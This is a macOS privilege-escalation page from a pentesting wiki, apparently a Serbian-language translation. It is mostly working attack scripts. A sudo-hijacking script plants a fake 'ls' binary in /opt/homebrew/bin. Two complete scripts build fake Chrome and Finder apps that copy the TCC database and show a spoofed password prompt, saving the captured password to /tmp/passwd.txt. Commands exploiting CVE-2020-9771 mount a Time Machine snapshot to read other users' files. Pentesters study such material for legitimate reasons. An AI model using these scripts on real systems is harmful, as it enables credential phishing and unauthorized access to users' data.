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241 lines
9.1 KiB
Markdown
241 lines
9.1 KiB
Markdown
# macOS Privilege Escalation
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{{#include ../../banners/hacktricks-training.md}}
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## TCC Privilege Escalation
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Ako ste došli ovde tražeći TCC eskalaciju privilegija, idite na:
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{{#ref}}
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macos-security-protections/macos-tcc/
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{{#endref}}
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## Linux Privesc
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Imajte na umu da **većina trikova o eskalaciji privilegija koji utiču na Linux/Unix će takođe uticati na MacOS** mašine. Tako da pogledajte:
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{{#ref}}
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../../linux-hardening/privilege-escalation/
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{{#endref}}
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## User Interaction
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### Sudo Hijacking
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Možete pronaći originalnu [Sudo Hijacking tehniku unutar posta o Linux eskalaciji privilegija](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
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Međutim, macOS **održava** korisnikov **`PATH`** kada izvršava **`sudo`**. Što znači da bi drugi način da se postigne ovaj napad bio da se **otmu drugi binarni fajlovi** koje žrtva i dalje izvršava kada **pokreće sudo:**
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```bash
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# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
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cat > /opt/homebrew/bin/ls <<EOF
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#!/bin/bash
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if [ "\$(id -u)" -eq 0 ]; then
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whoami > /tmp/privesc
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fi
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/bin/ls "\$@"
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EOF
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chmod +x /opt/homebrew/bin/ls
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# victim
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sudo ls
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```
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Napomena da korisnik koji koristi terminal verovatno ima **Homebrew instaliran**. Tako da je moguće preuzeti binarne datoteke u **`/opt/homebrew/bin`**.
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### Imitacija Dock-a
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Korišćenjem nekih **socijalnih inženjeringa** mogli biste **imitirati, na primer, Google Chrome** unutar dock-a i zapravo izvršiti svoj skript:
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{{#tabs}}
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{{#tab name="Chrome Impersonation"}}
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Neki predlozi:
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- Proverite u Dock-u da li postoji Chrome, i u tom slučaju **uklonite** tu stavku i **dodajte** **lažnu** **Chrome stavku na istu poziciju** u Dock nizu.
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```bash
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#!/bin/sh
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# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
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# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
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rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
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# Create App structure
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mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
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mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
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# Payload to execute
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cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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int main() {
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char *cmd = "open /Applications/Google\\\\ Chrome.app & "
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"sleep 2; "
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"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
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"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
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"echo \$PASSWORD > /tmp/passwd.txt";
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system(cmd);
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return 0;
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}
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EOF
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gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
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rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c
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chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
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# Info.plist
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cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
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"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
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<plist version="1.0">
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<dict>
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<key>CFBundleExecutable</key>
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<string>Google Chrome</string>
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<key>CFBundleIdentifier</key>
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<string>com.google.Chrome</string>
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<key>CFBundleName</key>
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<string>Google Chrome</string>
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<key>CFBundleVersion</key>
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<string>1.0</string>
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<key>CFBundleShortVersionString</key>
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<string>1.0</string>
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<key>CFBundleInfoDictionaryVersion</key>
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<string>6.0</string>
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<key>CFBundlePackageType</key>
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<string>APPL</string>
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<key>CFBundleIconFile</key>
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<string>app</string>
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</dict>
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</plist>
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EOF
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# Copy icon from Google Chrome
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cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
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# Add to Dock
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defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
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sleep 0.1
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killall Dock
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```
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{{#endtab}}
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{{#tab name="Finder Impersonation"}}
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Nekoliko predloga:
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- Ne **možete ukloniti Finder iz Dock-a**, tako da, ako planirate da ga dodate u Dock, možete staviti lažni Finder odmah pored pravog. Za to treba da **dodate lažni Finder unos na početak Dock niza**.
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- Druga opcija je da ga ne stavljate u Dock i samo ga otvorite, "Finder traži da kontroliše Finder" nije tako čudno.
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- Još jedna opcija za **eskalaciju na root bez traženja** lozinke sa užasnom porukom je da naterate Findera da stvarno traži lozinku za obavljanje privilegovane radnje:
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- Zatražite od Findera da kopira u **`/etc/pam.d`** novu **`sudo`** datoteku (Poruka koja traži lozinku će ukazati da "Finder želi da kopira sudo")
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- Zatražite od Findera da kopira novi **Authorization Plugin** (Možete kontrolisati ime datoteke tako da poruka koja traži lozinku ukazuje da "Finder želi da kopira Finder.bundle")
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```bash
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#!/bin/sh
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# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
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# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';
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rm -rf /tmp/Finder.app/ 2>/dev/null
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# Create App structure
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mkdir -p /tmp/Finder.app/Contents/MacOS
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mkdir -p /tmp/Finder.app/Contents/Resources
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# Payload to execute
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cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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int main() {
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char *cmd = "open /System/Library/CoreServices/Finder.app & "
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"sleep 2; "
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"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
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"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
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"echo \$PASSWORD > /tmp/passwd.txt";
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system(cmd);
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return 0;
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}
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EOF
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gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
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rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c
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chmod +x /tmp/Finder.app/Contents/MacOS/Finder
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# Info.plist
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cat << EOF > /tmp/Finder.app/Contents/Info.plist
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<?xml version="1.0" encoding="UTF-8"?>
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<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
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"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
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<plist version="1.0">
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<dict>
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<key>CFBundleExecutable</key>
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<string>Finder</string>
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<key>CFBundleIdentifier</key>
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<string>com.apple.finder</string>
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<key>CFBundleName</key>
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<string>Finder</string>
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<key>CFBundleVersion</key>
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<string>1.0</string>
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<key>CFBundleShortVersionString</key>
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<string>1.0</string>
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<key>CFBundleInfoDictionaryVersion</key>
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<string>6.0</string>
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<key>CFBundlePackageType</key>
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<string>APPL</string>
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<key>CFBundleIconFile</key>
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<string>app</string>
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</dict>
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</plist>
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EOF
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# Copy icon from Finder
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cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns
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# Add to Dock
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defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
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sleep 0.1
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killall Dock
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```
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{{#endtab}}
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{{#endtabs}}
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## TCC - Eskalacija privilegija za root
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### CVE-2020-9771 - mount_apfs TCC zaobilaženje i eskalacija privilegija
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**Bilo koji korisnik** (čak i oni bez privilegija) može kreirati i montirati snapshot vremenske mašine i **pristupiti SVIM datotekama** tog snapshot-a.\
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**Jedina privilegija** koja je potrebna je da aplikacija koja se koristi (kao što je `Terminal`) ima **Pristup celom disku** (FDA) (`kTCCServiceSystemPolicyAllfiles`) koji mora odobriti administrator.
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```bash
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# Create snapshot
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tmutil localsnapshot
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# List snapshots
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tmutil listlocalsnapshots /
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Snapshots for disk /:
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com.apple.TimeMachine.2023-05-29-001751.local
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# Generate folder to mount it
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cd /tmp # I didn it from this folder
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mkdir /tmp/snap
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# Mount it, "noowners" will mount the folder so the current user can access everything
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/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
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# Access it
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ls /tmp/snap/Users/admin_user # This will work
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```
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Detaljnije objašnjenje može se [**pronaći u originalnom izveštaju**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
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## Osetljive informacije
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Ovo može biti korisno za eskalaciju privilegija:
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{{#ref}}
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macos-files-folders-and-binaries/macos-sensitive-locations.md
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{{#endref}}
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{{#include ../../banners/hacktricks-training.md}}
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